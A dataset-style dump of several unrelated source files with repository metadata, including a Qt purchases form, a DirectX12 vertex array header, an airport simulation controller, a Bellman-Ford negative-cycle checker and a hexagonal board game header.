return relevantKeyPressed ( ke ); } );
ui->tablePayments->setCallbackForCellChanged ( [&] ( const vmTableItem* const item ) {
return tablePaymentsCellChanged ( item ); } );
APP_COMPLETERS ()->setCompleter ( ui->txtCPSupplier, vmCompleters::SUPPLIER );
saveWidget ( ui->txtCPSupplier, FLD_CP_SUPPLIER );
ui->txtCPSupplier->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return txtCP_textAltered ( sender ); } );
ui->txtCPSupplier->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
APP_COMPLETERS ()->setCompleter ( ui->txtCPDeliveryMethod, vmCompleters::DELIVERY_METHOD );
saveWidget ( ui->txtCPDeliveryMethod, FLD_CP_DELIVERY_METHOD );
ui->txtCPDeliveryMethod->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return txtCP_textAltered ( sender ); } );
ui->txtCPDeliveryMethod->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
saveWidget ( ui->txtCPPayValue, FLD_CP_PAY_VALUE );
ui->txtCPPayValue->lineControl ()->setTextType ( vmLineEdit::TT_PRICE );
ui->txtCPPayValue->setButtonType ( vmLineEditWithButton::LEBT_CALC_BUTTON );
ui->txtCPPayValue->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return txtCP_textAltered ( sender ); } );
ui->txtCPPayValue->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
saveWidget ( ui->txtCPNotes, FLD_CP_NOTES );
ui->txtCPNotes->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return txtCP_textAltered ( sender ); } );
ui->txtCPNotes->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
saveWidget ( ui->dteCPDate, FLD_CP_DATE );
ui->dteCPDate->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return dteCP_dateAltered ( sender ); } );
ui->dteCPDate->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
saveWidget ( ui->dteCPDeliveryDate, FLD_CP_DELIVERY_DATE );
ui->dteCPDeliveryDate->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return dteCP_dateAltered ( sender ); } );
ui->dteCPDeliveryDate->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
ui->txtCPSearch->setCallbackForContentsAltered ( [&] ( const vmWidget* const sender ) {
return txtCPSearch_textAltered ( sender->text () ); } );
ui->txtCPSearch->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const, const vmWidget* const ) {
return btnCPSearch_clicked ( true ); } );
}
void companyPurchasesUI::fillForms ()
{
ui->txtCPID->setText ( recStrValue ( cp_rec, FLD_CP_ID ) );
ui->dteCPDate->setDate ( cp_rec->date ( FLD_CP_DATE ) );
ui->dteCPDeliveryDate->setDate ( cp_rec->date ( FLD_CP_DELIVERY_DATE ) );
ui->txtCPPayValue->setText ( recStrValue ( cp_rec, FLD_CP_PAY_VALUE ) );
ui->txtCPDeliveryMethod->setText ( recStrValue ( cp_rec, FLD_CP_DELIVERY_METHOD ) );
ui->txtCPSupplier->setText ( recStrValue ( cp_rec, FLD_CP_SUPPLIER ) );
ui->txtCPNotes->setText ( recStrValue ( cp_rec, FLD_CP_NOTES ) );
ui->tableItems->loadFromStringTable ( recStrValue ( cp_rec, FLD_CP_ITEMS_REPORT ) );
ui->tableItems->scrollToTop ();
ui->tablePayments->loadFromStringTable ( recStrValue ( cp_rec, FLD_CP_PAY_REPORT ) );
ui->tablePayments->scrollToTop ();
}
void companyPurchasesUI::controlForms ()
{
const bool editable ( cp_rec->action () >= ACTION_ADD );
ui->dteCPDate->setEditable ( editable );
ui->dteCPDeliveryDate->setEditable ( editable );
ui->txtCPPayValue->setEditable ( editable );
ui->txtCPDeliveryMethod->setEditable ( editable );
ui->txtCPSupplier->setEditable ( editable );
ui->txtCPNotes->setEditable ( editable );
ui->tableItems->setEditable ( editable );
ui->tablePayments->setEditable ( editable );
ui->txtCPSearch->setEditable ( !editable );
if ( editable )
{
bEnableStatus[BTN_FIRST] = ui->btnCPFirst->isEnabled ();
bEnableStatus[BTN_PREV] = ui->btnCPPrev->isEnabled ();
bEnableStatus[BTN_NEXT] = ui->btnCPNext->isEnabled ();
bEnableStatus[BTN_LAST] = ui->btnCPLast->isEnabled ();
ui->btnCPFirst->setEnabled ( false );
ui->btnCPPrev->setEnabled ( false );
ui->btnCPNext->setEnabled ( false );
ui->btnCPLast->setEnabled ( false );
ui->btnCPAdd->setEnabled ( cp_rec->action () == ACTION_ADD );
ui->btnCPEdit->setEnabled ( cp_rec->action () == ACTION_EDIT );
ui->btnCPSearch->setEnabled ( false );
}
else
{
ui->btnCPFirst->setEnabled ( bEnableStatus[BTN_FIRST] );
ui->btnCPPrev->setEnabled ( bEnableStatus[BTN_PREV] );
ui->btnCPNext->setEnabled ( bEnableStatus[BTN_NEXT] );
ui->btnCPLast->setEnabled ( bEnableStatus[BTN_LAST] );
ui->btnCPAdd->setEnabled ( true );
ui->btnCPEdit->setEnabled ( true );
ui->btnCPSearch->setEnabled ( true );
ui->btnCPEdit->setText ( emptyString );
ui->btnCPEdit->setIcon ( ICON ( "browse-controls/edit" ) );
ui->btnCPAdd->setText ( emptyString );
ui->btnCPAdd->setIcon ( ICON ( "browse-controls/add" ) );
ui->btnCPRemove->setText ( emptyString );
ui->btnCPRemove->setIcon ( ICON ( "browse-controls/remove" ) );
}
}
void companyPurchasesUI::saveInfo ()
{
if ( cp_rec->saveRecord () )
cp_rec->exportToInventory ();
controlForms ();
}
void companyPurchasesUI::searchCancel ()
{
for ( uint i ( 0 ); i < mFoundFields.count (); ++i )
widgetList.at ( mFoundFields.at ( i ) )->highlight ( vmDefault_Color );
mFoundFields.clearButKeepMemory ();
mSearchTerm.clear ();
mbSearchIsOn = false;
}
bool companyPurchasesUI::searchFirst ()
{
if ( cp_rec->readFirstRecord ( -1, mSearchTerm ) )
{
showSearchResult_internal ( false ); // unhighlight current widgets
cp_rec->contains ( mSearchTerm, mFoundFields );
return true;
}
return false;
}
bool companyPurchasesUI::searchPrev ()
{
if ( cp_rec->readPrevRecord ( true ) )
{
showSearchResult_internal ( false ); // unhighlight current widgets
cp_rec->contains ( mSearchTerm, mFoundFields );
return true;
}
return false;
}
bool companyPurchasesUI::searchNext ()
{
if ( cp_rec->readNextRecord ( true ) )
{
showSearchResult_internal ( false ); // unhighlight current widgets
cp_rec->contains ( mSearchTerm, mFoundFields );
return true;
}
return false;
}
bool companyPurchasesUI::searchLast ()
{
if ( cp_rec->readLastRecord ( -1, mSearchTerm ) )
{
showSearchResult_internal ( false ); // unhighlight current widgets
cp_rec->contains ( mSearchTerm, mFoundFields );
return true;
}
return false;
}
void companyPurchasesUI::btnCPFirst_clicked ()
{
bool ok ( false );
if ( mbSearchIsOn )
{
if ( ( ok = searchFirst () ) )
showSearchResult_internal ( true );
}
else
{
if ( ( ok = cp_rec->readFirstRecord () ) )
fillForms ();
}
ui->btnCPFirst->setEnabled ( !ok );
ui->btnCPPrev->setEnabled ( !ok );
ui->btnCPNext->setEnabled ( ui->btnCPNext->isEnabled () || ok );
ui->btnCPLast->setEnabled ( ui->btnCPLast->isEnabled () || ok );
}
void companyPurchasesUI::btnCPLast_clicked ()
{
bool ok ( false );
if ( mbSearchIsOn )
{
if ( ( ok = searchLast () ) )
showSearchResult_internal ( true );
}
else
{
ok = cp_rec->readLastRecord ();
fillForms ();
}
ui->btnCPFirst->setEnabled ( ui->btnCPFirst->isEnabled () || ok );
ui->btnCPPrev->setEnabled ( ui->btnCPPrev->isEnabled () || ok );
ui->btnCPNext->setEnabled ( !ok );
ui->btnCPLast->setEnabled ( !ok );
}
void companyPurchasesUI::btnCPPrev_clicked ()
{
bool b_isfirst ( false );
bool ok ( false );
if ( mbSearchIsOn )
{
if ( ( ok = searchPrev () ) )
{
b_isfirst = ( static_cast<uint>( recIntValue ( cp_rec, FLD_CP_ID ) ) == VDB ()->getLowestID ( cp_rec->t_info.table_order ) );
showSearchResult_internal ( true );
}
}
else
{
ok = cp_rec->readPrevRecord ();
b_isfirst = ( static_cast<uint>( recIntValue ( cp_rec, FLD_CP_ID ) ) == VDB ()->getLowestID ( TABLE_CP_ORDER ) );
fillForms ();
}
ui->btnCPFirst->setEnabled ( !b_isfirst );
ui->btnCPPrev->setEnabled ( !b_isfirst );
ui->btnCPNext->setEnabled ( ui->btnCPNext->isEnabled () || ok );
ui->btnCPLast->setEnabled ( ui->btnCPLast->isEnabled () || ok );
}
void companyPurchasesUI::btnCPNext_clicked ()
{
bool b_islast ( false );
bool ok ( false );
if ( mbSearchIsOn )
{
if ( ( ok = searchPrev () ) )
{
b_islast = ( static_cast<uint>( recIntValue ( cp_rec, FLD_CP_ID ) ) == VDB ()->getHighestID ( cp_rec->t_info.table_order ) );
showSearchResult_internal ( true );
}
}
else
{
ok = cp_rec->readNextRecord ();
b_islast = ( static_cast<uint>( recIntValue ( cp_rec, FLD_CP_ID ) ) == VDB ()->getHighestID ( TABLE_CP_ORDER ) );
fillForms ();
}
ui->btnCPFirst->setEnabled ( ui->btnCPFirst->isEnabled () || ok );
ui->btnCPPrev->setEnabled ( ui->btnCPPrev->isEnabled () || ok );
ui->btnCPNext->setEnabled ( !b_islast );
ui->btnCPLast->setEnabled ( !b_islast );
}
void companyPurchasesUI::btnCPSearch_clicked ( const bool checked )
{
if ( checked )
{
if ( ui->txtCPSearch->text ().count () >= 2 && ui->txtCPSearch->text () != mSearchTerm )
{
searchCancel ();
const QString searchTerm ( ui->txtCPSearch->text () );
if ( cp_rec->readFirstRecord ( -1, searchTerm ) )
{
cp_rec->contains ( searchTerm, mFoundFields );
mbSearchIsOn = !mFoundFields.isEmpty ();
}
ui->btnCPNext->setEnabled ( mbSearchIsOn );
if ( mbSearchIsOn ) {
mSearchTerm = searchTerm;
ui->btnCPSearch->setText ( tr ( "Cancel search" ) );
showSearchResult_internal ( true );
}
}
}
else
searchCancel ();
ui->btnCPSearch->setChecked ( checked );
}
void companyPurchasesUI::btnCPAdd_clicked ( const bool checked )
{
if ( checked )
{
cp_rec->clearAll ();
cp_rec->setAction ( ACTION_ADD );
fillForms ();
controlForms ();
ui->btnCPAdd->setText ( tr ( "Save" ) );
ui->btnCPAdd->setIcon ( ICON ( "document-save" ) );
ui->btnCPRemove->setText ( tr ( "Cancel" ) );
ui->btnCPRemove->setIcon ( ICON ( "cancel" ) );
ui->txtCPSupplier->setFocus ();
}
else
saveInfo ();
}
void companyPurchasesUI::btnCPEdit_clicked ( const bool checked )
{
if ( checked )
{
cp_rec->setAction ( ACTION_EDIT );
controlForms ();
ui->btnCPEdit->setText ( tr ( "Save" ) );
ui->btnCPEdit->setIcon ( ICON ( "document-save" ) );
ui->btnCPRemove->setText ( tr ( "Cancel" ) );
ui->btnCPRemove->setIcon ( ICON ( "cancel" ) );
ui->txtCPSupplier->setFocus ();
}
else
saveInfo ();
}
void companyPurchasesUI::btnCPRemove_clicked ()
{
if ( ui->btnCPAdd->isChecked () || ui->btnCPEdit->isChecked () ) // cancel
{
ui->btnCPAdd->setChecked ( false );
ui->btnCPEdit->setChecked ( false );
cp_rec->setAction( ACTION_REVERT );
controlForms ();
fillForms ();
}
else
{
if ( VM_NOTIFY ()->questionBox ( tr ( "Question" ), tr ( "Remove current displayed record ?" ) ) )
{
if ( cp_rec->deleteRecord () )
{
if ( !cp_rec->readNextRecord () )
{
if ( !cp_rec->readPrevRecord () )
cp_rec->readRecord ( 1 );
}
fillForms ();
ui->btnCPFirst->setEnabled ( cp_rec->actualRecordInt ( FLD_CP_ID ) != static_cast<int>( VDB ()->getLowestID ( TABLE_CP_ORDER ) ) );
ui->btnCPPrev->setEnabled ( cp_rec->actualRecordInt ( FLD_CP_ID ) != static_cast<int>( VDB ()->getLowestID ( TABLE_CP_ORDER ) ) );
ui->btnCPNext->setEnabled ( cp_rec->actualRecordInt ( FLD_CP_ID ) != static_cast<int>( VDB ()->getHighestID ( TABLE_CP_ORDER ) ) );
ui->btnCPLast->setEnabled ( cp_rec->actualRecordInt ( FLD_CP_ID ) != static_cast<int>( VDB ()->getHighestID ( TABLE_CP_ORDER ) ) );
ui->btnCPSearch->setEnabled ( VDB ()->getHighestID ( TABLE_CP_ORDER ) > 0 );
ui->txtCPSearch->setEditable ( VDB ()->getHighestID ( TABLE_CP_ORDER ) > 0 );
}
}
}
}
void companyPurchasesUI::relevantKeyPressed ( const QKeyEvent* ke )
{
switch ( ke->key () )
{
case Qt::Key_Enter:
case Qt::Key_Return:
if ( ui->btnCPAdd->isChecked () )
{
ui->btnCPAdd->setChecked ( false );
btnCPAdd_clicked ( false );
}
else if ( ui->btnCPEdit->isChecked () )
{
ui->btnCPEdit->setChecked ( false );
btnCPEdit_clicked ( false );
}
break;
case Qt::Key_Escape:
if ( ui->btnCPAdd->isChecked () || ui->btnCPEdit->isChecked () ) // cancel
btnCPRemove_clicked ();
break;
case Qt::Key_F2:
if ( !ui->btnCPAdd->isChecked () && !ui->btnCPEdit->isChecked () )
btnCPPrev_clicked ();
break;
case Qt::Key_F3:
if ( !ui->btnCPAdd->isChecked () && !ui->btnCPEdit->isChecked () )
btnCPNext_clicked ();
break;
default:
break;
}
}
void companyPurchasesUI::txtCP_textAltered ( const vmWidget* const sender )
{
setRecValue ( cp_rec, static_cast<uint>( sender->id () ), sender->text () );
}
void companyPurchasesUI::dteCP_dateAltered ( const vmWidget* const sender )
{
setRecValue ( cp_rec, static_cast<uint>( sender->id () ), static_cast<const vmDateEdit* const>( sender )->date ().toString ( DATE_FORMAT_DB ) );
}
void companyPurchasesUI::btnCPShowSupplier_clicked ( const bool checked )
{
if ( checked )
SUPPLIERS ()->displaySupplier ( recStrValue ( cp_rec, FLD_CP_SUPPLIER ), true );
else
SUPPLIERS ()->hideDialog ();
}
void companyPurchasesUI::txtCPSearch_textAltered ( const QString &text )
{
if ( text.length () == 0 )
{
ui->txtCPSearch->setText ( mSearchTerm );
ui->btnCPSearch->setEnabled ( !mSearchTerm.isEmpty () );
}
ui->btnCPSearch->setEnabled ( text.length () >= 3 );
}
|
0b57796a7697b6e735013dc32b3e41c99afba3e5
|
cc30c0038187beef68ac1cf1ae675ddf74e65bd9
|
/Hedgehog/Include/Renderer/DirectX12VertexArray.h
|
c9f0d528abdf6bbadff4692bad5f4d9fef7761ba
|
[] |
no_license
|
Donione/Hedgehog
|
a8c786a796d192aa49f48040f8ce00f62a333588
|
c33879f231be2e824c46bc9310e561328cca7ea5
|
refs/heads/main
| 2023-07-18T01:10:06.323520
| 2021-08-20T16:02:42
| 2021-08-20T16:02:42
| 293,284,237
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,637
|
h
|
DirectX12VertexArray.h
|
#pragma once
#include <Renderer/VertexArray.h>
#include <Renderer/DirectX12Shader.h>
#include <wrl.h>
#include <d3dx12.h>
namespace Hedge
{
// TODO rename to something else, maybe something pipeline-y
class DirectX12VertexArray : public VertexArray
{
public:
DirectX12VertexArray(const std::shared_ptr<Shader>& inputShader,
PrimitiveTopology primitiveTopology, const BufferLayout& inputLayout,
const std::vector<Hedge::TextureDescription>& textureDescriptions);
virtual ~DirectX12VertexArray() override;
virtual void Bind() override;
virtual void Unbind() const override { /* do nothing */ }
virtual void AddVertexBuffer(const std::shared_ptr<VertexBuffer>& vertexBuffer) override;
virtual void AddIndexBuffer(const std::shared_ptr<IndexBuffer>& indexBuffer) override;
virtual void AddTexture(TextureType type, int position, const std::shared_ptr<Texture>& texture) override;
virtual void SetupGroups(const std::vector<VertexGroup>& groups) override;
virtual void SetInstanceCount(unsigned int instanceCount) override { this->instanceCount = instanceCount; }
virtual PrimitiveTopology GetPrimitiveTopology() const override { return primitiveTopology; }
virtual const std::vector<std::shared_ptr<VertexBuffer>>& GetVertexBuffers() const override { return vertexBuffers; }
virtual const std::shared_ptr<IndexBuffer> GetIndexBuffer() const override { return indexBuffer; }
// TODO why doesn't returning a shared_ptr reference work when upcasting?
virtual const std::shared_ptr<Shader> GetShader() const override { return baseShader; }
virtual std::vector<std::pair<VertexGroup, float>>& GetGroups() override { return groups; }
virtual unsigned int GetInstanceCount() const override { return instanceCount; }
void UpdateRenderSettings();
private:
DXGI_FORMAT GetDirectXFormat(ShaderDataType type) const { return DirectXFormats[(int)type]; }
D3D12_PRIMITIVE_TOPOLOGY_TYPE GetPipelinePrimitiveTopology(PrimitiveTopology topology) const { return pipelinePrimitiveTopologies[(int)topology]; }
D3D12_PRIMITIVE_TOPOLOGY GetDirectX12PrimitiveTopology(PrimitiveTopology type) const { return DirectX12PrimitiveTopologies[(int)type]; }
void CreatePSO();
void CreateSRVHeap();
private:
// TODO this should be just the number of frames in flight
// increasing this as a workaround for multiple PSO updates per frame
static const int MAX_PSOS = 32;
int currentPSO = -1;
Microsoft::WRL::ComPtr<ID3D12RootSignature> m_rootSignature;
// We're keeping a circular buffer of PSOs because when a render setting changes
// we have some frames in-flight with the old PSO bound
// TODO For some reason waiting for the last frame and then releasing the current PSO didn't work
// I was still getting a GPU error, deletion of a live object (the PSO)
// So keeping a buffer the size of the number of frames in flight should be enough for the old PSOs
// to get out of the GPU command queue
// TODO Investigate how to properly wait for the PSO to be unbound
// Is it because of the command allocator/queue or because the command list is recording?
Microsoft::WRL::ComPtr<ID3D12PipelineState> m_pipelineState[MAX_PSOS];
std::shared_ptr<Shader> baseShader;
std::shared_ptr<DirectX12Shader> shader;
PrimitiveTopology primitiveTopology;
BufferLayout bufferLayout;
Microsoft::WRL::ComPtr<ID3D12DescriptorHeap> srvHeap;
unsigned int texturesRootParamIndex;
std::vector<Hedge::TextureDescription> textureDescriptions;
std::vector<std::shared_ptr<Texture>> textures;
std::vector<std::shared_ptr<VertexBuffer>> vertexBuffers;
std::shared_ptr<IndexBuffer> indexBuffer;
std::vector<std::pair<VertexGroup, float>> groups;
unsigned int instanceCount = 1;
// TODO check all of these
const DXGI_FORMAT DirectXFormats[10] =
{
DXGI_FORMAT_UNKNOWN,
DXGI_FORMAT_R32_FLOAT,
DXGI_FORMAT_R32G32_FLOAT,
DXGI_FORMAT_R32G32B32_FLOAT,
DXGI_FORMAT_R32G32B32A32_FLOAT,
DXGI_FORMAT_R32_SINT,
DXGI_FORMAT_R32G32_SINT,
DXGI_FORMAT_R32G32B32_SINT,
DXGI_FORMAT_R32G32B32A32_SINT,
DXGI_FORMAT_R8_UINT
};
const D3D12_PRIMITIVE_TOPOLOGY_TYPE pipelinePrimitiveTopologies[4]
{
D3D12_PRIMITIVE_TOPOLOGY_TYPE_UNDEFINED,
D3D12_PRIMITIVE_TOPOLOGY_TYPE_POINT,
D3D12_PRIMITIVE_TOPOLOGY_TYPE_LINE,
D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE,
};
const D3D12_PRIMITIVE_TOPOLOGY DirectX12PrimitiveTopologies[4]
{
D3D_PRIMITIVE_TOPOLOGY_UNDEFINED,
D3D_PRIMITIVE_TOPOLOGY_POINTLIST,
D3D_PRIMITIVE_TOPOLOGY_LINELIST,
D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST,
};
};
} // namespace Hedge
|
316da43c53dbbb688789ca85a1576a9b947cdaf3
|
6ea0e6c929717abb3a6571cfb4deeb731868dc95
|
/trunk/ross/models/airport/RegionController.cpp
|
851a45ec4fde2f5a806bcdc48cb56f0893d86495
|
[] |
no_license
|
chleemobile/rossnet
|
364324c46a0d14def5e2b2541cb395a03c51188a
|
b3d2e9a2a8535d2621ba92717e2fcb47cda23f36
|
HEAD
| 2016-09-02T03:48:44.143264
| 2012-09-14T23:53:47
| 2012-09-14T23:53:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 577
|
cpp
|
RegionController.cpp
|
#include "RegionController.hpp"
RegionController::RegionController(int in_max_capacity)
{
m_max_capacity = in_max_capacity;
m_current_capacity = 0;
dummy_test = 1.2345;
}
RegionController::~RegionController()
{
}
void RegionController::handle_incoming(tw_lp *lp)
{
//cout<<"RC handle"<<endl;
m_current_capacity++;
m_current_capacity++;
dummy_test = (dummy_test + m_current_capacity)*1.2;
//dm_num_aircrafts++;
}
void RegionController::handle_outgoing(tw_lp *lp)
{
//cout<<"RC handle"<<endl;
m_current_capacity--;
m_current_capacity--;
//dm_num_aircrafts++;
}
|
b050a6f63115051885ada8be2089d941dced99aa
|
34db9859b03b6b22d2d91295bfc8ef0b0db7c5d7
|
/Graph/Paths/2_negative_cycle/negative_cycle.cpp
|
a4e5adee70705e5527c06b82c077cc9848a6afe9
|
[] |
no_license
|
Anirudhpolawar/Data-Structure-And-Algorithms
|
3b90068fe0e276e46c711c6b43efec8b9f53bc7e
|
7f5766b23b0a9100ca7d51227d76676aebdd4e50
|
refs/heads/master
| 2022-11-06T08:43:12.517305
| 2020-06-28T12:20:45
| 2020-06-28T12:20:45
| 267,502,991
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,448
|
cpp
|
negative_cycle.cpp
|
#include <iostream>
#include <vector>
#include<climits>
#include<unordered_map>
using std::vector;
using std::unordered_map;
int negative_cycle(vector<vector<int> > &adj, vector<vector<int> > &cost) {
//write your code here
unordered_map<int,int> m;
for (int j = 0; j < adj.size() - 1; j++) { //v - 1 iteration
for (int u = 0; u < adj.size(); u++) {
for (int k = 0; k < adj[u].size(); k++) {
int v = adj[u][k];
int w = cost[u][k];
int dist = m[v];
int newDist = m[u] + w;
if (dist > newDist)
m[v] = newDist; //relax
}
}
}
for (int u = 0; u < adj.size(); u++) {
for (int k = 0; k < adj[u].size(); k++) {
int v = adj[u][k];
int w = cost[u][k];
int dist = m[v];
int newDist = m[u] + w;
if (dist > newDist)
return 1; //relax
}
}
return 0;
}
int main() {
int n, m;
std::cin >> n >> m;
vector<vector<int> > adj(n, vector<int>());
vector<vector<int> > cost(n, vector<int>());
for (int i = 0; i < m; i++) {
int x, y, w;
std::cin >> x >> y >> w;
adj[x - 1].push_back(y - 1);
cost[x - 1].push_back(w);
}
std::cout << negative_cycle(adj, cost);
}
|
0481062e2d80e196919726fc7330c270415a9063
|
1dad64199d0b89ec0c76198f9b6e5d6290e0e0ba
|
/Basic1/DP1/n16_1149.cpp
|
ef19ac730e44b94fb665abfb078b0a73615f4bb3
|
[] |
no_license
|
NgGyu/BOJ
|
c2f6c047e3ac5cece18262763024104a02ca565b
|
8fea49ab046a598528238d7aedb463d117b80e96
|
refs/heads/master
| 2021-02-28T05:13:03.844147
| 2020-05-13T18:28:25
| 2020-05-13T18:28:25
| 245,664,651
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,124
|
cpp
|
n16_1149.cpp
|
#include <iostream>
#define MOD 1000000009LL
#define NUM 1000
using namespace std;
void f(int n);
long long mini(long long n1, long long n2, long long n3);
long long board[NUM +1][3] = { 0 };
long long buf[3] = { 0 };
int main(void)
{
int n;
cin >> n;
f(n);
return 0;
}
void f(int n) {
for (int i = 1; i <= n; i++) {
for (int j = 0; j < 3; j++) {
cin >> buf[j];
}
if (board[i - 1][1] > board[i - 1][2]) {
board[i][0] = buf[0] + board[i - 1][2];
}
else {
board[i][0] = buf[0] + board[i - 1][1];
}
if (board[i - 1][0] > board[i - 1][2]) {
board[i][1] = buf[1] + board[i - 1][2];
}
else {
board[i][1] = buf[1] + board[i - 1][0];
}
if (board[i - 1][0] > board[i - 1][1]) {
board[i][2] = buf[2] + board[i - 1][1];
}
else {
board[i][2] = buf[2] + board[i - 1][0];
}
}
cout << mini(board[n][0], board[n][1], board[n][2]);
}
long long mini(long long n1, long long n2, long long n3) {
long long ans;
if (n1 > n2) {
if (n2 > n3) {
ans = n3;
}
else {
ans = n2;
}
}
else {
if (n1 > n3) {
ans = n3;
}
else {
ans = n1;
}
}
return ans;
}
|
88d10db93550190b1f424dfa435c3f6523e1cea7
|
b6d08bb4e30a066af06d9b83e1b4049b21f8cfea
|
/movie.cpp
|
58bd402a18f4bdc7da66671c29c421b431c51c25
|
[] |
no_license
|
Jacykow/Netflox--
|
6ab5711ab7f680fc3b59be1213280a6b8617a864
|
36de7843e059684bcc88681b887e161ae5294b83
|
refs/heads/master
| 2020-03-31T09:40:29.240184
| 2018-11-11T18:50:39
| 2018-11-11T18:50:39
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 501
|
cpp
|
movie.cpp
|
#include "movie.h"
void Movie::fillInfoByTitle(){
Media::fillInfoByTitle();
budget = 1+rand()%20;
setDescription("A wonderful adventure of friendship and magic for the whole family.");
}
string Movie::additionalInfo(){
string info = Media::additionalInfo();
info.append("\nSPECTACLE:\t");
int spectacle = getBudget() * 1000;
if(spectacle > 9000){
info.append("OVER 9000!!!!!!!!");
}
else{
info.append(to_string(spectacle));
}
return info;
}
string Movie::getType(){
return "Movie";
}
|
5b2aebcbc7bb34c42075ea5c0dfb1984d4e4ed0b
|
f89c78239d48a3bb67ee332bb1e378d843370e89
|
/software/crane.h
|
b325502e3a5ad948a81c39b714f0ec7b43c1a96d
|
[] |
no_license
|
rustyducks/IOBoard_2020
|
3df7d1f4dfa7c9a4b2256cd0d9e824a4e589beda
|
932871dbac6c017511017154797c5cea8d412e14
|
refs/heads/master
| 2022-05-26T01:00:47.389776
| 2022-05-12T00:15:33
| 2022-05-12T00:15:33
| 245,421,153
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 895
|
h
|
crane.h
|
#ifndef CRANE_H
#define CRANE_H
#include <ch.h>
#include <hal.h>
#include "DynamixelSerial.h"
#define DELTA_DYN 5
struct CraneConfig {
ioline_t line_pump;
ioline_t line_ev;
ioline_t line_ev_pressure;
uint32_t ev_pressure_state;
uint8_t elev_dyn_id;
uint8_t azim_dyn_id;
};
class Crane {
public:
Crane();
void init(struct CraneConfig* crane_config, DynamixelSerial* dyn);
void set_elevation(int elev);
bool goElevationTimeout(int elev, uint32_t timeout, bool exit=false);
void set_azimut(int azim);
bool goAzimutTimeout(int elev, uint32_t timeout, bool exit=false);
void start_pump();
void stop_pump();
void open_ev();
void close_ev();
void route_sensor();
void release_sensor();
int readAzimut();
int readElevation();
private:
struct CraneConfig* config;
DynamixelSerial* dynamixels;
};
#endif
|
67f9bd071ea00134fb5a8eaca264f559bc85b103
|
c3c09663211a4c16fc3d73c0d3dbb0fd83d67d3c
|
/src/GameBoard.h
|
ed0679881e84a81c0ce658d59981699ab77fd228
|
[
"MIT"
] |
permissive
|
db4soundman/Vise
|
b06c979607f4f47145d0f81912f99f5246cfb332
|
35eed37a918617ff6d681e4cc99ab5ebaf4ca2e7
|
refs/heads/master
| 2021-01-18T12:09:43.855989
| 2013-12-04T06:05:25
| 2013-12-04T06:05:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,061
|
h
|
GameBoard.h
|
#include <vector>
class GameBoard {
public:
GameBoard ();
class GameNode {
public:
GameNode* east;
GameNode* west;
GameNode* northEast;
GameNode* northWest;
GameNode* southEast;
GameNode* southWest;
int numIdentifier;
bool inVise;
bool curLookAt;
int pieceOn;
bool checked;
GameNode() {pieceOn = -1; checked = false; inVise=false;};
int getPieceOn(int row, int column);
};
public:
int numPieces;
std::vector<std::vector<GameNode> > board;
int getPiece(int row, int column);
int dijkstraRecursive(GameNode* cur, int* visited, int& arrSize);
int getP1Spares();
int getP2Spares();
int countPieces (int playerCheckingFor);
bool canMove(int row, int column);
bool inVise(int x, int y);
bool isContigious();
bool isAdjacent(int x,int y);
bool isPlayerOneConnected(int x, int y);
bool isPlayerTwoConnected(int x, int y);
bool canMoveOld(int row, int column);
bool jump(int x, int y);
bool isAdjTo(int x1, int y1, int x2, int y2);
bool wouldBeCont(int x, int y);
bool isMove (int playerCheckingFor);
bool playerStillInGame(int player);
bool getPlayerOneTurn();
void addPiece(int row, int column, int player);
void removePiece();
void makeGameBoard();
void resetVise();
void setPieceToMove(int x, int y);
void removePiece(int x, int y);
void removeVises();
void returnDisconnectedPieces();
void setP1Spares(int num);
void setP2Spares(int num);
void setPlayerOneTurn(bool turn);
private:
int oldPieceToMoveX;
int oldPieceToMoveY;
GameNode* oldPieceToMove;
int p1Spares;
int p2Spares;
bool playerOneTurn;
bool p1InGroup (GameNode* cur, int* visited, int& arrSize);
bool p2InGroup (GameNode* cur, int* visited, int& arrSize);
bool dijkstraMove(int x, int y);
int dijkstraTotal(int x, int y);
int pieceCount(GameNode* cur, int* visited, int& arrSize, int player);
void assignPointers();
void dijkstraRecursiveReturn (GameNode* cur, int* visited, int& arrSize);
};
|
2a2b1ee56a11eadf6dcfad6437c90a45bab0d640
|
88ae8695987ada722184307301e221e1ba3cc2fa
|
/third_party/dawn/generator/templates/dawn/native/ChainUtils.cpp
|
1600c4104088fbde24b74efaf34e60b677cef1f3
|
[
"BSD-3-Clause",
"Apache-2.0",
"LGPL-2.0-or-later",
"MIT",
"GPL-1.0-or-later",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
iridium-browser/iridium-browser
|
71d9c5ff76e014e6900b825f67389ab0ccd01329
|
5ee297f53dc7f8e70183031cff62f37b0f19d25f
|
refs/heads/master
| 2023-08-03T16:44:16.844552
| 2023-07-20T15:17:00
| 2023-07-23T16:09:30
| 220,016,632
| 341
| 40
|
BSD-3-Clause
| 2021-08-13T13:54:45
